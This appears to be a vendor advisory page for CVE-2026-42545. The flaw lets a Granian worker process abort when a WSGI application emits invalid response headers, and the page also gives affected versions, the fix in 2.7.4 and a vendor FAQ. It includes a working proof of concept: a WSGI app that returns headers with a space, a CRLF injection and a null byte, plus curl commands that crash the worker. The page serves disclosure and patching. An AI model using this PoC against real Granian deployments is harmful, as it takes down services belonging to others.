CVE-2026-42545

Granian aborts a worker process if a WSGI application returns an invalid HTTP response header name or value. The WSGI response conversion path uses .unwrap() on both the header name and header value constructors, so malformed output from the application becomes a process abort instead of a handled error.

This issue requires a buggy or attacker-influenced WSGI application to emit invalid headers. It is not a parser bug in Granian's request path. The security impact is that application mistakes which should result in a 500 instead kill the worker process.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/wsgi/io.rs#L39-L42

If either conversion fails, .unwrap() panics. In release builds Granian uses panic = "abort", so the panic terminates the worker.

Preconditions

The attacker must be able to influence a header name or value produced by the WSGI application, or the application must otherwise generate invalid headers.

Examples include:

• a header name containing a space
• a header value containing \r\n
• a header value containing a null byte

These are realistic failure modes for applications that reflect user-controlled data into headers such as Location, Content Disposition, or custom response headers.

PoC

Step 1

start Granian with the PoC WSGI app

# app.py
def app(environ, start_response):
    path = environ.get("PATH_INFO", "/")
    if path == "/crash-name":
        headers = [("X Bad Name", "value")]
    elif path == "/crash-value":
        headers = [("Content-Type", "text/html\r\nX-Injected: evil")]
    elif path == "/crash-null":
        headers = [("X-Custom", "value\x00end")]
    else:
        start_response("200 OK", [("Content-Type", "text/plain")])
        return [b"OK - server alive\n"]

    start_response("200 OK", headers)
    return [b"This response kills the worker\n"]

granian --interface wsgi app:app --host 127.0.0.1 --port 8000

Step 2

trigger the crash (any one of these is sufficient)

curl http://127.0.0.1:8000/crash-name
curl http://127.0.0.1:8000/crash-value
curl http://127.0.0.1:8000/crash-null

Expected result:

• the worker aborts after any of the crash paths
• subsequent requests fail until the worker is restarted

• Worker process denial of service
• A single bad response kills one worker
• Application bugs become process crashes instead of request-scoped failures

CVE-2026-42545 has a CVSS score of 5.9 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.7.4); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-42545? CVE-2026-42545 is a medium-severity security vulnerability in granian (pip), affecting versions >= 0.2.0, < 2.7.4. It is fixed in 2.7.4.
2. How severe is CVE-2026-42545? CVE-2026-42545 has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of granian are affected by CVE-2026-42545? granian (pip) versions >= 0.2.0, < 2.7.4 is affected.
4. Is there a fix for CVE-2026-42545? Yes. CVE-2026-42545 is fixed in 2.7.4. Upgrade to this version or later.
5. Is CVE-2026-42545 exploitable, and should I be worried? Whether CVE-2026-42545 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-42545 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-42545? Upgrade granian to 2.7.4 or later.